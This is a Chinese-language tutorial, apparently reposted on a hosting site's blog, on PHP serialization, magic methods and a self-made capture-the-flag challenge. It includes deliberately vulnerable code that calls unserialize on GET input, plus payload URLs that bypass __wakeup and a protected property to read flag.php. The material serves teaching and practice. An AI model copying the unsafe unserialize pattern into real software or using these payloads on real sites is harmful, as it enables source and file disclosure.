您好,登錄后才能下訂單哦!
本篇內(nèi)容介紹了“php序列化與反序列化的概念”的有關(guān)知識(shí),在實(shí)際案例的操作過(guò)程中,不少人都會(huì)遇到這樣的困境,接下來(lái)就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細(xì)閱讀,能夠?qū)W有所成!
(反)序列化給我們傳遞對(duì)象提供了一種簡(jiǎn)單的方法。serialize()將一個(gè)對(duì)象轉(zhuǎn)換成一個(gè)字符串,unserialize()將字符串還原為一個(gè)對(duì)象,在PHP應(yīng)用中,序列化和反序列化一般用做緩存,比如session緩存,cookie等。
序列化是將變量轉(zhuǎn)換為可保存或傳輸?shù)淖址倪^(guò)程;在php中是使用serialize()方法實(shí)現(xiàn)將類進(jìn)行序列化,下面是一段php序列化代碼,可以通過(guò)注釋理解代碼含義。
<?php class LessSafe //定義一個(gè)LessSafe類 { public $name = 'LessSafe'; //定義一個(gè)name變量 public $age = 2; //定義一個(gè)age變量 function getname() //定義一個(gè)方法 { echo $this->name; } } $s = new LessSafe(); //創(chuàng)建一個(gè)對(duì)象 echo $s->getname()."</br>"; //調(diào)用方法 $s_serialize = serialize($s); //講對(duì)象進(jìn)行序列化 print_r($s_serialize); //打印序列化結(jié)果 ?>
序列化運(yùn)行結(jié)果
反序列化結(jié)果:O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}
O為對(duì)象Object,8為L(zhǎng)essSafe對(duì)象名長(zhǎng)度,2為{}內(nèi)屬性的個(gè)數(shù),{}內(nèi)為對(duì)象的屬性,s為類型string字符串 4為屬性名的長(zhǎng)度分號(hào);隔開(kāi)后是該屬性的值s為值類型為string字符串類型 4位屬性名的長(zhǎng)度 name就是屬性名了(屬性名為string類型要使用雙引號(hào)) 8為值的長(zhǎng)度 LessSafe是值 后面age屬性與name屬性類似除了值數(shù)據(jù)類型為整型i值為2
<?php $b=unserialize($_GET[H]); //通過(guò)get傳參將序列化內(nèi)容傳進(jìn)來(lái),使用unserialize進(jìn)行反序列化處理 print_r($b); //打印反序列化結(jié)果 ?>
我在這里使用了上文序列換的結(jié)果傳遞到服務(wù)端進(jìn)行處理并查看打印結(jié)果
http://192.168.75.138/fxlh.php?H=O:8:"LessSafe":2:{s:4:"name";s:8:"LessSafe";s:3:"age";i:2;}
在介紹反序列化之前,我們需要了解一下魔法函數(shù),__construct當(dāng)一個(gè)對(duì)象創(chuàng)建時(shí)調(diào)用(constructor);__destruct當(dāng)一個(gè)對(duì)象被銷毀時(shí)調(diào)用(destructor);__toString當(dāng)一個(gè)對(duì)象被當(dāng)作一個(gè)字符串時(shí)使用;__sleep當(dāng)對(duì)一個(gè)對(duì)象序列化時(shí),php就會(huì)調(diào)用__sleep方法(如果存在的話),__wakeup在反序列化時(shí),php就會(huì)調(diào)用__wakeup方法(如果存在的話)。
下面是調(diào)用__construct、__destruct、__toString時(shí)案例
<?php class TestClass { public $variable = 'This is a string'; //一個(gè)變量 public function PrintVariable() //一個(gè)簡(jiǎn)單的方法 { echo $this->variable.'<br />'; } public function __construct() //Constructor { echo '__construct<br />'; } public function __destruct() //Destructor { echo '__destruct<br />'; } public function __toString() //toString { return '__toString<br />'; } } $object = new TestClass(); //創(chuàng)建一個(gè)對(duì)象,__construct會(huì)被調(diào)用 $object->PrintVariable(); //創(chuàng)建一個(gè)方法 echo $object; //對(duì)象被當(dāng)作一個(gè)字符串,toString會(huì)被調(diào)用 //php腳本要結(jié)束時(shí),__destruct會(huì)被調(diào)用 ?>
下面是調(diào)用__sleep時(shí)案例
<?php class LessSafe //定義一個(gè)LessSafe類 { public $name = 'LessSafe'; //定義一個(gè)name變量 public $age = 2; //定義一個(gè)age變量 function getname() //定義一個(gè)方法 { echo $this->name; } function __sleep() //定義__sleep魔法函數(shù) { echo "When using serialize, __sleep() will be called"; } } $s = new LessSafe(); //創(chuàng)建一個(gè)對(duì)象 echo $s->getname()."</br>"; //調(diào)用方法 $s_serialize = serialize($s); //講對(duì)象進(jìn)行序列化 print_r($s_serialize); //打印序列化結(jié)果 ?>
下面是調(diào)用__wakeup時(shí)的案例
<?php class LessSafe //定義一個(gè)LessSafe類 { public $name = 'LessSafe'; //定義一個(gè)name變量 public $age = 2; //定義一個(gè)age變量 function getname() //定義一個(gè)方法 { echo $this->name; } function __wakeup() { echo"When using unserialize, __wakeup() will be called"; } } $s = new LessSafe(); //創(chuàng)建一個(gè)對(duì)象 echo $s->getname()."</br>"; //調(diào)用方法 unserialize($_GET[id]) ?>
下面是我編寫(xiě)的一道簡(jiǎn)單的ctf試題,試題代碼有一個(gè)LessSafe類,類中有一個(gè)變量,兩個(gè)魔法函數(shù),本題重點(diǎn)突破點(diǎn)在__destruct魔法函數(shù),file名字也是可控的,會(huì)導(dǎo)致反序列化漏洞讀取flage.php內(nèi)容。本題有連個(gè)難點(diǎn),1、需要繞過(guò)__wakeup 2、需要繞過(guò)$file的protected屬性。
<?php class LessSafe{ protected $file='index.php'; function __destruct(){ if(!empty($this->file)) { show_source($this->file); } } function __wakeup(){ $this->file='index.php'; } } if(!isset($_GET['file'])){ show_source('index.php'); } else{ unserialize($_GET['file']); } //flag in flag.php ?>
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":1:{s:4:"file";s:8:"flag.php";}
構(gòu)造上述payload后發(fā)現(xiàn)沒(méi)有讀取到flag.php文件,因?yàn)長(zhǎng)essSafe類中有__wakeup魔法函數(shù),在使用unserialize會(huì)執(zhí)行__wakeup魔法函數(shù),將$file='index.php'
只需要構(gòu)造序列化時(shí),大于序列對(duì)象屬性個(gè)數(shù)即可繞過(guò)__wakeup
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{s:4:"file";s:8:"flag.php";}
將屬性個(gè)數(shù)改成2,測(cè)試payload
what??,小朋友你是否有很多問(wèn)號(hào)
那在仔細(xì)讀一遍源代碼吧,發(fā)現(xiàn)源代碼中$file的屬性時(shí)protected,經(jīng)過(guò)學(xué)習(xí)發(fā)現(xiàn)有繞過(guò)protected方法
經(jīng)過(guò)學(xué)習(xí)得到最終payload
http://192.168.75.146/ctf/index.php?file=O:8:"LessSafe":2:{S:7:"\00*\00file";s:8:"flag.php";}
\00是0的二進(jìn)制,S是序列換二級(jí)制表示方法(大概是這個(gè)意思)
最終拿到flag
“php序列化與反序列化的概念”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識(shí)可以關(guān)注億速云網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實(shí)用文章!
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。